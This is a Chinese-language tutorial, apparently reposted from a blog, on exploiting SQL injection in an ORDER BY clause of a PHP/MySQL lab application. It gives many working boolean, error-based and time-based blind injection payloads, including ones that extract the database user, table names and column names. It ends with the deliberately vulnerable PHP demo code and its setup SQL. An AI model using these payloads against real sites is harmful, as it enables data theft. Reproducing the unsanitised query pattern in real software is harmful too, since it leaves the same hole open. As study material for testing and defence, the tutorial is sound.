本文讨论的内容指可控制的位置在
子句后,如下 order 参数可控
- order by
- "select * from goods order by $_GET['order']"
在早期注入大量存在的时候利用
子句进行快速猜解列数,再配合
- order by
语句进行回显。可以通过修改
- union select
参数为较大的整数看回显情况来判断。在不知道列名的情况下可以通过列的的序号来指代相应的列。但是经过测试这里无法做运算,如
- order
和
- order=3-1
是不一样的
- order=2
- http://192.168.239.2:81/?order=11 错误
- http://192.168.239.2:81/?order=1 正常
前面的判断并不是绝对的,我们需要构造出类似
、
- and 1=1
的 payload 以便于注入出数据
- and 1=2
- http://192.168.239.2:81/?order=IF(1=1,name,price) 通过name字段排序
- http://192.168.239.2:81/?order=IF(1=2,name,price) 通过price字段排序
- /?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序
- /?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过price字段排序
- http://192.168.239.2:81/?order=IFNULL(NULL,price) 通过name字段排序
- http://192.168.239.2:81/?order=IFNULL(NULL,name) 通过price字段排序
可以观测到排序的结果不一样
- http://192.168.239.2:81/?order=rand(1=1)
- http://192.168.239.2:81/?order=rand(1=2)
在有些情况下无法知道列名,而且也不太直观的去判断两次请求的差别,如下用 IF 语句为例
- http://192.168.239.2:81/?order=IF(1=1,1,(select+1+union+select+2)) 正确
- http://192.168.239.2:81/?order=IF(1=2,1,(select+1+union+select+2)) 错误
- /?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常
- /?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误
- http://192.168.239.2:81/?order=(select+1+regexp+if(1=1,1,0x00)) 正常
- http://192.168.239.2:81/?order=(select+1+regexp+if(1=2,1,0x00)) 错误
- http://192.168.239.2:81/?order=updatexml(1,if(1=1,1,user()),1) 正确
- http://192.168.239.2:81/?order=updatexml(1,if(1=2,1,user()),1) 错误
- http://192.168.239.2:81/?order=extractvalue(1,if(1=1,1,user())) 正确
- http://192.168.239.2:81/?order=extractvalue(1,if(1=2,1,user())) 错误
注意如果直接
,sleep 时间将会变成 2 * 当前表中记录的数目,将会对服务器造成一定的拒绝服务攻击
- if(1=2,1,SLEEP(2))
- /?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
- /?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒
以猜解 user() 即
为例子,由于只能一位一位猜解,可以利用
,
- SUBSTR
,
- SUBSTRING
, 以及
- MID
和
- left
可以精准分割出每一位子串。然后就是比较操作了可以利用
- right
,
- =
,
- like
等。这里要注意
- regexp
是不区分大小写
- like
通过下可以得知 user() 第一位为
,ascii 码的 16 进制为 0x72
- r
- http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确
- http://192.168.239.2:81/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误
猜解当前数据的表名
- /?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1)=0x67,1,0x00)) 正确
- /?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1)=0x66,1,0x00)) 错误
猜解指定表名中的列名
- /?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema=database()+and+table_name=0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常
- /?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema=database()+and+table_name=0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误
在没有过滤的情况下是能够检测到注入的
- <?php
- error_reporting(0);
- session_start();
- mysql_connect("127.0.0.1", "root", "root") or die("Database connection failed ");
- mysql_select_db("sqlidemo") or die("Select database failed");
- $order = $_GET['order'] ? $_GET['order'] : 'name';
- $sql = "select id,name,price from goods order by $order";
- $result = mysql_query($sql);
- $reslist = array();
- while($row = mysql_fetch_array($result, MYSQL_ASSOC))
- {
- array_push($reslist, $row);
- }
- echo json_encode($reslist);
- create database sqlidemo;
- use sqlidemo;
- create table goods (id int(4) not null primary key auto_increment, name char(32) not null, price int(4) not null);
- insert into goods (name, price) values("apple", 10);
- insert into goods (name, price) values("banana", 15);
- insert into goods (name, price) values("peach", 20);
来源: http://www.bubuko.com/infodetail-1994878.html